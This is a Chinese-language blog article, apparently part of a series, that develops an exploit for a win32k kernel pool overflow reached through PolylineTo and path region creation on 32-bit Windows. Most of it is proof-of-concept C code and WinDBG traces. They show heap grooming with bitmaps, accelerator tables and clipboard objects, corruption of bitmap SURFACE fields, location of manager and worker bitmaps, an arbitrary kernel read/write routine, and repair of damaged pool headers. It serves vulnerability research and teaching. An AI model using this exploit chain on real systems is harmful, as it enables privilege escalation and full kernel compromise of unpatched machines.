ConvertMemHandle 函数调用返回后,函数 SetClipboardData 将返回的剪贴板数据对象的句柄传入 NtUserSetClipboardData 函数调用中,以将分配的剪贴板数据对象设置进剪贴板。

LABEL_41:
  v3 = (HANDLE)ConvertMemHandle(hMem, 1);
  v12 = 1;
LABEL_29:
  if ( !v3 )
    return 0;
LABEL_2:
  RtlEnterCriticalSection(&gcsClipboard);
  v10 = v12;
  v11 = 1;
  if ( !NtUserSetClipboardData(uFormat, v3, &v10) )
  {
    RtlLeaveCriticalSection(&gcsClipboard);
    return 0;
  }

清单 5-20 函数 SetClipboardData 调用 NtUserSetClipboardData 以设置剪贴板

在不调用函数 OpenCliboard 并清空剪贴板数据的前提下调用 SetClipboardData 函数会发生潜在的内存泄露,被分配的剪贴板数据对象在当前活跃会话生命周期内将会一直存在于分页会话池当中。但正因为这个特性,在后续通过漏洞溢出覆盖该对象的数据结构之后,不用担心在会在发生销毁对象时触发异常的问题,内存泄露的问题只能作为该验证代码的一个小缺憾。


图 5-7 创建剪贴板数据对象作为垫片

在测试环境中执行验证代码时,发现执行到第 2 次分配位图对象的后期阶段发生创建失败的错误,经过检查后发现是进程 GDI 对象数目已达到上限,随后适当调整验证代码的创建对象整体数目才得以继续执行。在实际应用时可随时根据进程句柄数、用户对象数、GDI 对象数具体情况随时调整选择分配的对象类型,以使利用逻辑能顺利进行下去。在当前系统环境下,用户对象和 GDI 对象的进程限额都是 10000 个,参见以下两个注册表路径的键值,如有必要可适当调整这两个键值的数值。

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\GDIProcessHandleQuota
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\USERProcessHandleQuota


图 5-8 用户对象和 GDI 对象的进程限额

修改后的验证代码片段如下:

for (LONG i = 0; i < maxCount; i++)
{
    point[i].x = i + 1;
    point[i].y = 5; // same values to ignore
}
for (LONG i = 0; i < 75; i++)
{
    point[i].y = i + 1; // to rewrite such edge elements.
}
HDC hdc = GetDC(NULL);
ret = BeginPath(hdc);
for (LONG i = maxCount; i > 0; i -= min(maxLimit, i))
{
    ret = PolylineTo(hdc, &point[maxCount - i], min(maxLimit, i));
}
ret = EndPath(hdc);
// 0xF90+0x70=0x1000
for (LONG i = 0; i < 4000; i++)
{
    // 0xE34+0x154+8=0xF90
    hbitmap[i] = CreateBitmap(0xE34, 0x01, 1, 8, NULL);
}
for (LONG i = 0; i < 5500; i++)
{
    ACCEL acckey[0x0D] = { 0 };
    // 0x0D*6+0x12+4+8~0x70
    hacctab[i] = CreateAcceleratorTableA(acckey, 0x0D);
}
for (LONG i = 0; i < 4000; i++)
{
    // free original bitmaps
    ret = DeleteObject(hbitmap[i]);
    hbitmap[i] = NULL;
}
// 0xB70+0x420=0xF90
for (LONG i = 0; i < 4000; i++)
{
    // create shim clipdatas
    // 0xB5C+0xC+8=0xB70
    CreateClipboard(0xB5C);
}
for (LONG i = 0; i < 4000; i++)
{
    // create usable bitmaps
    // 0xB1*0x01*4+0x154+8=0x420
    hbitmap[i] = CreateBitmap(0x01, 0xB1, 1, 32, NULL);
}
for (LONG i = 2000; i < 4000; i++)
{
    // dig hole to place edge buffer
    ret = DestroyAcceleratorTable(hacctab[i]);
    hacctab[i] = NULL;
}

// PathToRegion(hdc);

清单 5-21 增加垫片的修改版验证代码片段

将传入 PolylineTo 函数调用的坐标点数组中的 Y 轴坐标不同的点增加到 75 个,以使溢出写入的 EDGE 元素能跨越用作垫片的剪贴板数据对象到达间隔的位图 SURFACE 对象缓冲区并覆盖其中的数据,且恰好末尾的 EDGE 元素覆盖到位图 SURFACE 对象的 sizlBitmap 成员域为止而不影响后续的内存数据。垫片和位图 SURFACE 对象的新大小需要不断尝试和修改以达到最精确的域值覆盖。

编译后在环境中执行,观测到成员域 sizlBitmap 已被覆盖成比较感兴趣的值:

win32k!RGNMEMOBJ::vCreate+0xc5:
93fe3ffc ff1550001694    call    dword ptr [win32k!_imp__ExAllocatePoolWithTag (94160050)]
kd> dd esp l 14
93967828  00000021 00000068 6e677247 0f0106b6
kd> p
win32k!RGNMEMOBJ::vCreate+0xcb:
93fe4002 8b5510          mov     edx,dword ptr [ebp+10h]
kd> r eax
eax=cae5df98
kd> !pool cae5d000+1000
Pool page cae5e000 region is Paged session pool
*cae5e000 size:  b70 previous size:    0  (Allocated) *Uscb
         Pooltag Uscb : USERTAG_CLIPBOARD, Binary : win32k!_ConvertMemHandle
 cae5eb70 size:  420 previous size:  b70  (Allocated)  Gh15
 cae5ef90 size:   70 previous size:  420  (Free )  Usac Process: 861fcaa8
kd> dc cae5eb70 l 10 
cae5eb70  4684016e 35316847 02050ff1 00000000  n..FGh15........
cae5eb80  00000000 00000000 00000000 02050ff1  ................
cae5eb90  00000000 00000000 00000001 000000b1  ................
cae5eba0  000002c4 cae5eccc cae5eccc 00000004  ................
kd> p
...
win32k!RGNMEMOBJ::vCreate+0x1d7:
93fe410e e8a7000d00      call    win32k!vConstructGET (940b41ba)
kd> p
win32k!RGNMEMOBJ::vCreate+0x1dc:
93fe4113 8365cc00        and     dword ptr [ebp-34h],0
kd> dc cae5eb70 l 10 
cae5eb70  ffffffff ffffffff cae5df98 00000005  ................
cae5eb80  00000000 00000000 ffffffff 00000300  ................
cae5eb90  00000500 0147ae14 00000001 ffffffff  ......G.........
cae5eba0  000002c4 cae5eccc cae5eccc 00000004  ................

清单 5-22 成员 sizlBitmap 已被覆盖成感兴趣的值

这样一来,成员 sizlBitmap.cxsizlBitmap.cy 被覆盖成 0x010xFFFFFFFF,而 pvScan0 成员的值并未被污染,我们就可以利用该 sizlBitmap.cy 成员值的广阔范围,将当前位图 SURFACE 对象作为主控位图对象,通过其对位于下一内存页中的位图 SURFACE 对象进行操作,将其作为扩展位图 SURFACE 对象,覆盖其 pvScan0 指针为我们想读写的地址,随后再通过 API 函数操作扩展位图 SURFACE 对象,实现“指哪打哪”的目的。

kd> !pool cae5d000+2000
Pool page cae5f000 region is Paged session pool
*cae5f000 size:  b70 previous size:    0  (Allocated) *Uscb
         Pooltag Uscb : USERTAG_CLIPBOARD, Binary : win32k!_ConvertMemHandle
 cae5fb70 size:  420 previous size:  b70  (Allocated)  Gh15
 cae5ff90 size:   70 previous size:  420  (Free )  Usac Process: 861fcaa8
kd> dc cae5fb70 l 10
cae5fb70  4684016e 35316847 02050fb2 00000000  n..FGh15........
cae5fb80  00000000 00000000 00000000 02050fb2  ................
cae5fb90  00000000 00000000 00000001 000000b1  ................
cae5fba0  000002c4 cae5fccc cae5fccc 00000004  ................

清单 5-23 下一内存页中的位图 SURFACE 对象内存块


定位主控位图句柄

漏洞触发之前的代码逻辑已万事俱备,接下来处理漏洞触发之后的工作。既然要利用当前的主控位图 SURFACE 对象,就要找它到是我们分配的大量的位图对象中的哪一个。这就需要用到 GetBitmapBits 函数,其函数原型如下:

LONG GetBitmapBits(
  _In_  HBITMAP hbmp,
  _In_  LONG    cbBuffer,
  _Out_ LPVOID  lpvBits
);

通过向 GetBitmapBits 函数传入位图句柄、读取位图字节数、存储位图数据的缓冲区,将会读出指定大小的位图数据,并将实际读取的数据作为返回值返回。通过 GetBitmapBits 函数获取位图像素位数据具有如下的主要调用路径:


图 5-9 通过 GetBitmapBits 获取位图像素位数据的主要调用路径

在函数 win32k!NtGdiGetBitmapBits 中首先向 GreGetBitmapBits 函数调用传入空的请求字节数和缓冲区指针以获取该位图 SURFACE 对象的像素位数据的实际大小,用来防止传递给 GetBitmapBits 的请求字节数参数超过位图像素位数据的实际大小。在函数 GreGetBitmapBits 中只通过如下的赋值语句计算位图像素位数据的大小作为返回值而直接返回:

v4 = *((_DWORD *)pSurf + 9) * (((_DWORD)(*((_DWORD *)pSurf + 8) * gaulConvert[*((_DWORD *)pSurf + 0xF)] + 15) >> 3) & 0x1FFFFFFE);

变量 pSurf 是栈上的 SURFREF 类对象中第一个成员变量 SURFACE *ps 指针,指向该 SURFREF 对象关联的 SURFACE 类对象;该 SURFREF 对象是在函数开始时通过 HBITMAP a1 参数构造初始化并关联的。上面的赋值语句获取主控位图 SURFACE 对象相关的 SURFACE->so.iBitmapFormat 成员域的数值,并将数值作为索引在全局数组 gaulConvert 获取该位图格式的像素点位数,随后进行逻辑对齐运算并计算与 SURFACE->so.sizlBitmap 成员中横向和纵向像素点个数的乘积,得到该位图对象的像素点数据实际大小。需要留意的是,赋值语句中计算实际大小的关键在于 SURFACE->so.sizlBitmap 成员域,而没有校验 SURFACE->so.cjBits 代表像素点总字节数的成员域的值。

随后函数 win32k!NtGdiGetBitmapBits 根据返回的数值判断是否需要更新传入的请求字节数参数的数值。在接下来第二次调用 GreGetBitmapBits 函数时,传入实际的请求字节数和缓冲区指针,函数得以向后执行。

  if ( v4 )
  {
    lInitOffset = *pOffset;
    if ( *pOffset < 0 || lInitOffset >= v4 )
      goto LABEL_30;
    if ( cjTotal + lInitOffset > v4 )
      cjTotal = v4 - lInitOffset;
    if ( cjTotal )
    {
      v17 = cjTotal;
      v18 = pjBuffer;
      v9 = 0;
      v20 = lInitOffset;
      if ( pSurf )
        v9 = pSurf + 0x10;
      bDoGetSetBitmapBits((struct _SURFOBJ *)&v11, (struct _SURFOBJ *)v9, 1);
      v4 = v17;
      *pOffset = v17 + lInitOffset;
    }
    else
    {
LABEL_30:
      v4 = 0;
    }
  }

清单 5-24 函数 GreGetBitmapBits 代码片段

随后函数调用 bDoGetSetBitmapBits 函数执行获取位图像素点数据的具体操作。函数 bDoGetSetBitmapBits 具有三个参数:参数 SURFOBJ *a1 指示主控位图 SURFOBJ 对象指针,参数 SURFOBJ *a2 指示源位图 SURFOBJ 对象指针。参数 a3BOOL 类型的数值,用于表示本次操作是获取还是写入像素点数据。

当参数 a3 值为 1 时,函数将从 a2 指向的 SURFOBJ 对象中获取像素点数据并写入 a1 参数指向 SURFOBJ 对象关联的缓冲区中;当 a3 值为 0 时,函数将 a1 参数指向的 SURFOBJ 对象关联的位图数据写入 a2 指向 SURFOBJ 对象关联的位图中。根据上面的代码片段,当前调用向该参数传递 1 表示这次调用是获取操作。

传递给 bDoGetSetBitmapBits 函数的第二个参数是当前 SURFACE 对象中的 SURFOBJ so 成员的地址;而传递的第一个参数的值是变量 v11 的地址,这表示在当前函数栈上从 v11 变量地址开始存储一个 SURFOBJ 临时对象,在函数稍早位置对这个临时对象的各个成员域进行了初始化。根据偏移计算,变量 v17SURFOBJ 临时对象中的 cjBits 成员。在函数中调用 bDoGetSetBitmapBits 函数之前,计算得到的用于指示实际请求字节数的 cjTotal 变量的值以及从用户进程中传入的缓冲区指针 pjBuffer 分别被赋给临时 SURFOBJ 对象的 cjBitspvBits 成员,并且在函数调用返回后成员 cjBits 的值被赋给作为返回值的 v4 变量。这样一来临时对象的 cjBits 成员必然在 bDoGetSetBitmapBits 函数中被更新。

  v3 = a2;
  ...
  v4 = a1;
  if ( *((_DWORD *)a1 + 7) )
  {
    a2 = (struct _SURFOBJ *)*((_DWORD *)a1 + 7);
    a1 = (struct _SURFOBJ *)*((_DWORD *)v3 + 8);
    v22 = *((_DWORD *)v3 + 9);
    v5 = ((_DWORD)(*((_DWORD *)v3 + 4) * gaulConvert[*((_DWORD *)v3 + 0xB)] + 15) >> 3) & 0x1FFFFFFE;
    v6 = v5 * *((_DWORD *)v3 + 5);
    v7 = *((_DWORD *)v4 + 9);
    cjTotal = *((_DWORD *)v4 + 6);
    a3 = *((_DWORD *)v4 + 6);
    if ( (v7 & 0x80000000) != 0 || v7 >= v6 )
    {
      *((_DWORD *)v4 + 6) = 0;
      return 0;
    }
    if ( cjTotal + v7 > v6 )
    {
      cjTotal = v6 - v7;
      a3 = v6 - v7;
    }
    *((_DWORD *)v4 + 6) = cjTotal;
    ...
    while ( 1 )
    {
      v11 = v26--;
      if ( !v11 )
        break;
      memcpy((void *)a2, (const void *)a1, v5);
      a2 = (struct _SURFOBJ *)((char *)a2 + v5);
      a1 = (struct _SURFOBJ *)((char *)a1 + v22);
    }
    if ( v10 )
      memcpy((void *)a2, (const void *)a1, v10);
  }

清单 5-25 函数 bDoGetSetBitmapBits 获取像素点数据的代码片段

在函数 bDoGetSetBitmapBits 获取像素点数据的处理逻辑中,存在对主控 SURFOBJ 对象的 cjBits 成员赋值的语句(见上面的代码片段中的 (_DWORD *)v4+6 域的赋值)。总体而言,与前面初次执行 GreGetBitmapBits 函数获取位图 SURFACE 对象的实际像素点数据大小的代码逻辑类似,根据 iBitmapFormatsizlBitmap 域的值以及引入的外部偏移量的值综合计算出 cjBits 的值。

关注上面的内存拷贝循环语句,其中作为拷贝目标的 a2 值为位于用户进程地址空间的缓冲区地址,作为拷贝源的 a1 值为主控位图 SURFACE 对象的位图数据区域地址(编译器捣的鬼,进行了变量和参数复用,对可读性造成困扰)。循环期间每次调用 memcpy 函数进行数据拷贝时,拷贝的长度为 v5 变量的值,理解代码逻辑可知,v5 变量的值为即时计算出的当前位图 SURFACE 对象的位图数据扫描线长度。在调用的 memcpy 函数返回之后,对拷贝目标指针和源指针进行后移。可以注意到的是,对目标指针的后移量是即时计算出的当前位图 SURFACE 对象的位图数据扫描线长度,而对源指针的后移量是存储在 SURFACE->so.lDelta 成员中域的数值。

这样一来问题就出现了:存储在 SURFACE->so.lDelta 成员域中的数值是在调用 SURFMEM::bCreateDIB 函数分配对象时赋值的,它的值是通过位图像素宽度和位图像素位类型的初始值计算出来的,而在当前函数调用时,位图像素宽度 SURFACE->so.sizlBitmap.cy 成员域的值早已被漏洞导致的溢出覆盖所污染,位图宽度的值已不再是原值了,这样的话在进行指针后移操作时,源缓冲区和目标缓冲区指针的后移量将不相同,导致最终写入用户进程缓冲区中的数据存在偏差。成员 iBitmapFormat 由于比较靠后所以未被溢出覆盖所触及会保持不变,则要想解决这个问题,就必须确保在漏洞覆盖位图 SURFACE 对象的数据前后,成员域 sizlBitmap.cy 的值保持不变。反观前面的溢出覆盖的 WinDBG 调试数据,该成员域的值被覆盖为 0x01,那么在我们的验证代码中创建位图对象时传递的位图像素宽度参数值就必须为 0x01,将控制位图大小的职责完全由像素高度参数担负。笔者在这里踩了坑,所以特别提醒读者。

这样一来,通过以下的验证代码片段可从我们创建并保存的大量的位图句柄中定位出被覆盖数据的位图 SURFACE 对象的句柄:

pBmpHunted = (PDWORD)malloc(0x1000); // memory stub
LONG index = -1;
POCDEBUG_BREAK();
for (LONG i = 0; i < 4000; i++)
{
    if (GetBitmapBits(hbitmap[i], 0x1000, pBmpHunted) > 0x2D0)
    {
        index = i;
        break;
    }
}
hbmpmain = hbitmap[index];

清单 5-26 定位被覆盖数据位图 SURFACE 对象句柄的验证代码片段

上面的验证代码通过循环调用 GetBitmapBits 函数遍历位图句柄数组以定位被覆盖数据的位图 SURFACE 对象的句柄,获取 0x1000 字节的一整个内存页大小的位图数据。大部分配有被覆盖数据的位图 SURFACE 对象的像素点数据区域大小仍旧是原来的 0xB1*0x01*4=0x2C4 字节大小,所以返回值只可能是不超过 0x2C4 的数值;而针对被我们覆盖数据的主控位图 SURFACE 对象而言,由于 sizlBitmap 成员的值被覆盖成 0x010xFFFFFFFF 数值,所以在计算位图像素点数据“实际大小”时,计算出来的结果是 0x(3)FFFFFFFC,这是一个发生溢出的数值,高于 32 位的数据被舍弃。这样的话,当遍历到主控位图对象的句柄时,函数的返回值将必然是比 0x2D0 大的数,因此得以命中。命中成功后 pBmpHunted 缓冲区中就存储了从当前位图对象的位图像素点数据区域起始地址开始的 0x1000 字节范围的内存数据。


访问违例

然而在环境中实际测试的时候发现了问题,在调用 GetBitmapBits 函数期间 WinDBG 捕获到了访问违例的异常:

Access violation - code c0000005 (!!! second chance !!!)
win32k!PDEVOBJ::bAllowShareAccess+0x52:
938e391f 857824          test    dword ptr [eax+24h],edi
kd> k
 # ChildEBP RetAddr  
00 95a9bb2c 938f08e1 win32k!PDEVOBJ::bAllowShareAccess+0x52
01 95a9bb3c 9386208e win32k!NEEDGRELOCK::vLock+0x1b
02 95a9bbd4 9386650f win32k!GreGetBitmapBits+0xce
03 95a9bc20 83e891ea win32k!NtGdiGetBitmapBits+0x86
04 95a9bc20 774170b4 nt!KiFastCallEntry+0x12a
05 0019f0d0 7630c1d3 ntdll!KiFastSystemCallRet
06 0019f0d4 011699a0 gdi32!NtGdiGetBitmapBits+0xc
WARNING: Frame IP not in any known module. Following frames may be wrong.
07 0019fe70 0116a48a 0x11699a0
08 0019fec4 011a085e 0x116a48a
09 0019fed8 011a0760 0x11a085e
0a 0019ff30 011a060d 0x11a0760
0b 0019ff38 011a0878 0x11a060d
0c 0019ff40 75a93c45 0x11a0878
0d 0019ff4c 774337f5 kernel32!BaseThreadInitThunk+0xe
0e 0019ff8c 774337c8 ntdll!__RtlUserThreadStart+0x70
0f 0019ffa4 00000000 ntdll!_RtlUserThreadStart+0x1b
kd> r eax
eax=00044ea8
kd> dc eax+24h l 4
00044ecc  ???????? ???????? ???????? ????????  ????????????????

清单 5-27 调用 GetBitmapBits 期间发生访问违例异常

根据栈回溯发现是在 GreGetBitmapBits 函数中调用 NEEDGRELOCK::vLock 函数,然后在其中调用 PDEVOBJ::bAllowShareAccess 函数时发生异常的。

在函数 GreGetBitmapBits 中存在一处 NEEDGRELOCK::vLock 函数的调用:

v40 = *((_DWORD *)pSurf + 7);
NEEDGRELOCK::vLock((NEEDGRELOCK *)&v38, (struct PDEVOBJ *)&v40);

将地址作为外部参数传入函数调用的 v40 变量存储的是当前 SURFACE 对象的 SURFACE->so.hdev 成员的值,该成员是指向某个设备对象的指针。变量 v4 的地址是作为 PDEVOBJ 对象指针传入 NEEDGRELOCK::vLock 函数中的,PDEVOBJ 类型对象中只含有一个成员变量:指向对应的实际设备对象的指针,与 SURFACE->so.hdev 成员域的类型相同。

NEEDGRELOCK::vLock 函数中,对 PDEVOBJ 对象的指针成员的值进行判断,非空的话就调用 PDEVOBJ 对象的 bAllowShareAccess 成员函数,在其中访问实际设备对象中的数据。

void __thiscall NEEDGRELOCK::vLock(NEEDGRELOCK *this, struct PDEVOBJ *a2)
{
  NEEDGRELOCK *v2; // esi@1
  PERESOURCE v3; // ecx@4

  v2 = this;
  *(_DWORD *)this = 0;
  if ( *(_DWORD *)a2 && !PDEVOBJ::bAllowShareAccess(a2) && !(*(_DWORD *)(*(_DWORD *)a2 + 36) & 0x8000) )
  {
    v3 = ghsemGreLock;
    *(_DWORD *)v2 = ghsemGreLock;
    GreAcquireSemaphore(v3);
    TraceGreAcquireSemaphoreEx(L"hsem", *(_DWORD *)v2, 2);
  }
}

清单 5-28 函数 NEEDGRELOCK::vLock 代码片段

问题就出在这里,PDEVOBJ 对象中的指针成员的值来源于当前 SURFACE 对象的 SURFACE->so.hdev 成员域,该域的值要么是空,要么是指向某个实际设备对象的指针。默认情况下值为空,只是在前面的 EDGE 元素溢出访问的时候,被覆盖成了非空的值:

kd> dc cae5eb70 l 10 
cae5eb70  ffffffff ffffffff cae5df98 00000005  ................
cae5eb80  00000000 00000000 ffffffff 00000300  ................
cae5eb90  00000500 0147ae14 00000001 ffffffff  ......G.........
cae5eba0  000002c4 cae5eccc cae5eccc 00000004  ................

清单 5-29 成员域 SURFACE->so.hdev 被覆盖成非空值

如上所示,内存地址 0xcae5eb94 位置是 SURFACE->so.hdev 成员域,已被覆盖成的 0x147ae14 数值显然不是某个实际设备对象的地址。接下来继续追查对该成员域进行覆盖的时机,最终定位到在 vConstructGET 函数中针对最后一组两点描述的边进行 AddEdgeToGET 函数调用并处理 EDGE 元素数据时,在函数中进行了如下判断和赋值:

  if ( iXWidth < iYHeight )
  {
    *((_DWORD *)pFreeEdge + 7) = 0;
  }
  else
  {
    v15 = iXWidth;
    v17 = v15 % iYHeight;
    v16 = v15 / iYHeight;
    iXWidth = v17;
    v18 = *((_DWORD *)pFreeEdge + 8) == -1;
    *((_DWORD *)pFreeEdge + 7) = v16;
    if ( v18 )
      *((_DWORD *)pFreeEdge + 7) = -v16;
  }

清单 5-30 函数 AddEdgeToGET 对 EDGE->iXWhole 成员的赋值

根据前面的 EDGE 结构体定义可知,pFreeEdge+0x1C 字节偏移的域是 iXWhole 成员。针对当前两点描述的边,如果斜率大于 1 则将会给 iXWhole 域赋值为 0;否则会根据 iXDirection 成员的值是否为 -1iXWhole 赋值为 ±(iXWidth/iYHeigth)

回过头来检查验证代码,发现按照当前代码逻辑,由于对坐标点数组赋初值的方法不当,导致最后一组两点描述的边的顶点坐标成为 (0x6666668,0x5)(0,0),这样一来在处理末尾的 EDGE 元素时,斜率就不可能大于 1,所以 iXWhole 成员才会赋值为非空值。所以修改验证代码对坐标点数组赋初值的代码逻辑:

for (LONG i = 0; i < maxCount; i++)
{
    point[i].x = (i % 2) + 1;
    point[i].y = 100;
}

清单 5-31 修改的坐标点数组赋初值的代码逻辑

这样一来在函数中处理每个 EDGE 元素时,边的斜率将始终大于 1,成员 SURFACE->so.hdev 将不会被赋值为非空的值,在函数 NEEDGRELOCK::vLock 中判断指针成员的值时,遇空值将直接返回,不会进入 PDEVOBJ::bAllowShareAccess 函数调用,问题就得以解决。

kd> dc cb06db70 l 10
cb06db70  00000001 00000001 cb06db50 00000000  ........P.......
cb06db80  00000001 00000000 fffffeff 00000100  ................
cb06db90  00006400 00000000 00000001 ffffffff  .d..............
cb06dba0  000002c4 cb06dccc cb06dccc 00000004  ................

清单 5-32 成员域 hdev 没有被覆盖成非空值


定位扩展位图句柄

得到主控位图 SURFACE 对像的句柄之后,接下来需要通过该句柄控制其修改该位图 SURFACE 对象所在内存块下一内存页中的位图 SURFACE 对象作为扩展位图对象,修改其 SURFACE->so.pvScan0 成员域指向特定的地址,便可通过该扩展位图对象的句柄实现任意地址读写的目的。上面的验证代码中,命中成功时,变量 pBmpHunted 指向的缓冲区中存储的就是从当前位图 SURFACE 对象的像素点数据区域起始地址开始的一整个内存页的数据,其中包括扩展位图 SURFACE 对象的完整数据。接下来通过修改 pBmpHunted 指向的缓冲区中特定数据并通过调用 SetBitmapBits 函数将缓冲区写入当前位图 SURFACE 对象,就可以实现对扩展位图对象的操纵。


图 5-10 主控位图对象访问的 0x1000 字节数据包含扩展位图对象的成员数据

当然,我们首先需要在位图句柄列表中定位出被用作扩展位图对象的位图 SURFACE 对象所对应的句柄。说虽然在内核中当前位图 SURFACE 对象与在下一内存页中分配的位图 SURFACE 对象在内存布局方面相邻近,但在句柄表中两者先后顺序不一定相邻,所以我打算故技重施,先将扩展位图 SURFACE 对象的 sizlBitmap 域修改为较大的值,再通过调用 GetBitmapBits 函数的方式遍历定位句柄。

我将前面通过 GetBitmapBits 函数获取到的从主控位图 SURFACE 对象位图像素区域开始的整个内存页数据存放在分配的缓冲区中,并以 DWORD 指针的方式解析,将所有数据输出,通过与下一内存页中的扩展位图像素数据进行比对,成功在分配的缓冲区中找到了扩展位图对象的数据:

[936]8769D520 [937]4684016E [938]35316847 [939]02050FC8
[940]00000000 [941]00000000 [942]00000000 [943]00000000
[944]02050FC8 [945]00000000 [946]00000000 [947]00000001
[948]000000B1 [949]000002C4 [950]CB00FCCC [951]CB00FCCC
[952]00000004 [953]00002D50 [954]00000006 [955]00010000
[956]00000000 [957]04800200 [958]00000000 [959]00000000
[960]00000000 [961]00000000 [962]00000000 [963]00000000

清单 5-33 分配的缓冲区数据的转储

其中,下标 948 的元素数值是扩展位图对象的 SURFACE->so.sizlBitmap.cy 成员域的值,下标 951 的元素数值是 SURFACE->so.pvScan0 成员域的值。那么接下来将修改下标 948 的元素数值并通过 SetBitmapBits 写入扩展位图对象,再通过遍历句柄表的方式定位出扩展位图对象的句柄。


指哪打哪

到目前为止,已定位到了主控位图 SURFACE 对象和扩展位图 SURFACE 对象。通过主控位图 SURFACE 对象作为接口修改缓冲区中下标 951 的元素数值并写入内核,可控制扩展位图 SURFACE 对象的 SURFACE->so.pvScan0 成员域的值,这样一来只要将扩展位图 SURFACE 对象的 SURFACE->so.pvScan0 成员域修改为任意内核地址,便可轻松实现对内核任意地址的读写,“指哪打哪”的目的就实现了。

BOOL xxPointToHit(LONG addr, PVOID pvBits, DWORD cb)
{
    LONG ret = 0;
    pBmpHunted[iExtpScan0] = addr;
    ret = SetBitmapBits(hBmpHunted, 0x1000, pBmpHunted);
    if (ret < 0x1000)
    {
        return FALSE;
    }
    ret = SetBitmapBits(hBmpExtend, cb, pvBits);
    if (ret < (LONG)cb)
    {
        return FALSE;
    }
    return TRUE;
}

清单 5-34 指哪打哪


修复受损数据

漏洞的溢出覆盖破坏了主控位图 SURFACE 对象所在内存页中的内存块的 POOL_HEADER 结构,这会导致利用进程在退出阶段释放对象的时候发生异常。为了解决这个问题,需要对被覆盖的相关内存块的头部结构进行修复。

被破坏 POOL_HEADER 结构的内存块是位于同一内存页起始位置的剪贴板数据对象所在内存块和主控位图 SURFACE 对象所在的内存块。

根据前面的 WinDBG 调试数据显示,剪贴板数据对象所在内存块的池标记为“Uscb”,而位图 SURFACE 对象所在内存块的池标记是“Gh15”。根据该特性,定位到扩展位图 SURFACE 对象的 POOL_HEADER 结构位于缓冲区中的下标 937 和下标 938 元素中,而与扩展位图位于同一内存页的剪贴板数据对象所在内存块的 POOL_HEADER 结构位于缓冲区中的下标 205 和下标 206 元素中。这两组元素对中存储的 POOL_HEADER 结构是正常的未被污染的池头部结构数据。

在本分析中的情况下,每个坐落在预置内存间隙中的位图 SURFACE 对象地址的低 12 位始终相同。如前面转储的缓冲区数据所示,成员域 SURFACE->so.pvScan0 指针指向 0xCB00FCCC 地址,根据前面的分析数据可计算出扩展位图 SURFACE 对象所在内存块的池头部位于 0xCB00FB70 地址,而同一页中剪贴板数据对象对象位于 0xCB00F000 地址。将这两个地址向前移 0x1000 一个内存页的大小就可以定位到主控位图 SURFACE 对象所在内存页中受污染的内存块 POOL_HEADER 位置,随后依据“指哪打哪”方案,将前面获取的未被污染的池头部结构数据再写入对应类型的受污染的位置,这样一来释放这些内存块时就不会有问题了。

另外还需要注意的是,必须对数据受污染的位图 SURFACE 对象和剪贴板数据对象的某些特定成员域的值进行修复,才能保证在销毁这些对象时能够顺利进行。

前面提到过 _BASEOBJECT 结构,它是所有内核 GDI 对象类的基类。这就意味着所有内核 GDI 对象的起始位置存储的都是一个 _BASEOBJECT 结构,位图 SURFACE 对象也不例外。该结构的第一个成员变量 HANDLE hmgr 存储当前 GDI 对象的用户句柄,该句柄与用户进程调用的创建 GDI 对象的 API 返回的句柄一致。在销毁位图 SURFACE 对象进行时,在函数 SURFACE::bDeleteSurface 中会获取该成员域的值,并传入 HmgRemoveObjectHmgQueryAltLock 等函数进行相关处理。另外句柄值同样被存储在成员域 SURFACE->so.hsurf 中。如果不对这些成员域的值进行修复,那么在销毁该 GDI 对象时,将会发生访问违例等不可预料的错误。好在我们在前面已定位并保存了主控位图 SURFACE 对象的句柄,将句柄值写入这两个域所在内存地址即可。

  if ( !a3 && !HmgRemoveObject(*(HANDLE *)this, 0, 1, FreeSize == 2, 5) )
  {
    if ( HmgQueryAltLock(*(_DWORD *)this) == 1 )
    {
      ...
    }
    ...
  }

清单 5-35 函数 SURFACE::bDeleteSurface 访问 hmgr 成员

而对于位于同一内存页中被污染的剪贴板数据对象,由于该对象在当前活跃会话的生命周期内将不会被释放,所以就不需要对其被污染的成员域数据进行修复了。

// calc base page address
iMemHunted = (pBmpHunted[iExtpScan0] & ~0xFFF) - 0x1000;

DWORD szInputBit[0x100] = { 0 }; // buffer
CONST LONG iTrueCbdHead = 205;
CONST LONG iTrueBmpHead = 937;
szInputBit[0] = pBmpHunted[iTrueCbdHead + 0];
szInputBit[1] = pBmpHunted[iTrueCbdHead + 1];
// fix clibdata pool header
ret = xxPointToHit(iMemHunted + 0x000, szInputBit, 0x08);
if (!ret)
{
    return 0;
}
szInputBit[0] = pBmpHunted[iTrueBmpHead + 0];
szInputBit[1] = pBmpHunted[iTrueBmpHead + 1];
// fix bitmap pool header
ret = xxPointToHit(iMemHunted + 0xb70, szInputBit, 0x08);
if (!ret)
{
    return 0;
}

szInputBit[0] = (DWORD)hBmpHunted;
// fix bitmap hmgr
ret = xxPointToHit(iMemHunted + 0xb78, szInputBit, 0x04);
if (!ret)
{
    return 0;
}
// fix bitmap hsurf
ret = xxPointToHit(iMemHunted + 0xb8c, szInputBit, 0x04);
if (!ret)
{
    return 0;
}

清单 5-36 修复受损内存数据的验证代码片段

至此,对该漏洞利用的验证代码已实现任意内核地址读写和无异常退出进程的能力,下一章节将研究实现通过任意内核地址读写的能力实现内核提权的目的。

- THE END -

文章链接: https://xiaodaozhi.com/exploit/42.html